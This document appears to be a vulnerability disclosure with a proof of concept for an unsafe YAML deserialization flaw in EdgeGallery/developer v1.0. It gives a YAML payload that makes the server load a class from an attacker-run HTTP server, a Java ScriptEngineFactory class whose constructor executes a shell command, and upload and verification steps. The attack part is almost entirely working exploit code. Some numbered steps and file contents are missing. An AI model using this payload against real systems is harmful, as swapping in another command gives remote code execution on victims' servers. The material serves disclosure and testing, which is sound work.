vulnerability type: Deserialization of Untrusted Data impact: system command execution app version: Edgegallery/developer v1.0

1. Create a META-INF/services file, and create a javax.script.ScriptEngineFactory file, and write what needs to be loaded The name of the class is pocy, and the files of this class are placed in the same directory as META-INF:
2. File content:
3. Start an httpserver server: python -m SimpleHTTPServer 60001
4. Prepare yaml POC: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2333/"]]]]
5. Install and access the EdgeGallery/developer module, click "Deploy and debug" -> "Next"
6. Upload the constructed yaml file Click to upload the created yaml file.
7. View the request information of the http server:
8. Construct the pocy of the creation command: (contain the "touch /tmp/hackercor0ps" command)

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class pocy implements ScriptEngineFactory {

    public pocy() {
        try {
            Runtime.getRuntime().exec(new String[]{"sh","-c","touch /tmp/hackercor0ps"});
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }
    @Override
    public String getEngineVersion() {
        return null;
    }
    @Override
    public List<String> getExtensions() {
        return null;
    }
    @Override
    public List<String> getMimeTypes() {
        return null;
    }
    @Override
    public List<String> getNames() {
        return null;
    }
    @Override
    public String getLanguageName() {
        return null;
    }
    @Override
    public String getLanguageVersion() {
        return null;
    }
    @Override
    public Object getParameter(String key) {
        return null;
    }
    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }
    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }
    @Override
    public String getProgram(String... statements) {
        return null;
    }
    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

10. Log in to the host and verify whether the command is executed successfully. We can see that the “touch /tmp/hackercor0ps” command was successfully executed.